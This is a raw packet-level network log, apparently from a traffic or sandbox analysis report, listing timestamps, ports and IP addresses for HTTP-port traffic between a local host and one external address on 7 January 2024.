Jan 7, 2024 05:29:29.240490913 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.240566969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.240609884 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.240629911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.240674019 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.240911007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.240962982 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.241041899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.241091967 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.241303921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.241354942 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.241436958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.241475105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.241512060 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.241647005 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.241736889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.241780043 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.241852999 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.241911888 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.241919041 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.241961956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.241967916 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.241996050 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.242018938 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.242072105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.242218971 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.242260933 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.242516041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.242573023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.242580891 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.242613077 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.242891073 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.242930889 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.243006945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.243050098 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.243124962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.243168116 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.243256092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.243310928 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.243396997 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.243745089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.243774891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.243813038 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.244235992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.244313002 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.244601011 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.244637966 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.244764090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.244785070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.244807005 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.244822025 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.244863987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.244896889 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.244913101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.244956970 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.244961977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.245003939 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.245022058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.245052099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.245095015 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.245141029 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.245201111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.245212078 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.245261908 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.245331049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.245376110 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.245379925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.245414972 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.245516062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.245549917 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.245660067 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.245707035 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.245729923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.245769024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.245897055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.245954037 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.245994091 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.246191025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.246282101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.246323109 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.246406078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.246462107 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.246682882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.246737957 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.246788025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.246886015 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.246912003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.246952057 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.247031927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.247075081 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.247268915 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.247307062 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.247350931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.247386932 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.247431993 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.247447014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.247487068 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.247490883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.247531891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.247536898 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.247569084 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.247618914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.247777939 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.247814894 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.247889042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.247925043 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.247989893 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.248042107 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.248126030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.248209000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.248244047 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.248261929 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.248300076 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.248322010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.248359919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.248447895 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.248502016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.248543978 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.248703003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.248737097 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.248889923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.248908997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.248949051 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.249027967 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.249067068 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.249156952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.249212027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.249254942 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.249273062 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.249299049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.249341011 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.249341965 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.249380112 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.249396086 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.249437094 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.250118017 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.250159979 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.250272989 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.250315905 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.250351906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.250427008 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.250606060 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.250648975 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.250684977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.250720024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.250932932 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.250977993 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.251020908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.251044989 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.251072884 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.251091003 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.251125097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.251200914 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.251240015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.251276970 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.251312971 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.251355886 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.251394033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.251422882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.251432896 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.251460075 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.251794100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.251830101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.251833916 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.251910925 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.252144098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.252212048 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.252226114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.252264977 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.252293110 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.252317905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.252336025 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.252480030 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.252480030 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.434166908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.434242964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.434308052 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.434725046 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.434838057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.434892893 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.435079098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.435169935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.435218096 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.435354948 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.435476065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.435528994 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.435583115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.435695887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.435786009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.435833931 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.436052084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.436105013 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.436201096 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.436314106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.436455011 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.436506987 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.436896086 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.436994076 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.436997890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.437184095 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.437251091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.437297106 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.437464952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.437514067 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.437529087 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.437551975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.437592030 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.437658072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.437709093 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.437762022 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.438047886 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.438097000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.438402891 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.438785076 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.439222097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.439275026 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.439428091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.439546108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.439738035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.439766884 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.439791918 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.439815044 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.439887047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.439990044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.440032959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.440073967 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.440170050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.440243006 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.440397024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.440474033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.440509081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.440521002 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.440669060 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.440733910 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.440771103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.440788984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.440804958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.440850019 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.440969944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.441036940 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.441042900 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.441071987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.441107035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.441160917 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.441282034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.441329956 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.441406012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.441457033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.441502094 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.441520929 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.441603899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.441685915 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.441706896 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.441765070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.441828966 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.441859961 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.442018032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.442068100 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.442076921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.442150116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.442166090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.442188025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.442214966 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.442240953 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.442276955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.442420006 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.442481041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.442481041 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.442567110 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.442620993 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.442662954 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.442681074 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.442718029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.442728996 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.442785978 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.442846060 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.442874908 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.442893982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.442928076 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.442934990 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.443129063 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.443177938 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.443229914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.443618059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.443716049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.443747997 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.443834066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.443886042 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.444273949 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.444348097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.444423914 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.444509029 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.444567919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.444607973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.444636106 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.444785118 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.444833994 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.444916010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.445000887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.445087910 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.445132017 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.445288897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.445375919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.445426941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.445427895 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.445465088 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.445517063 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.445692062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.445806980 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.446033955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.446094036 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.446135998 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.446178913 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.446321964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.446384907 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.446410894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.446466923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.446654081 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.628212929 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.628298998 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.628355026 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.628885984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.628972054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.629014969 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.629075050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.629336119 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.629385948 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.629906893 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.630000114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.630040884 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.630161047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.630270958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.630320072 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.630393982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.630649090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.630865097 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.631048918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.631175041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:29.631231070 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:29.631274939 CET	80	49735	91.215.85.120	192.168.2.4
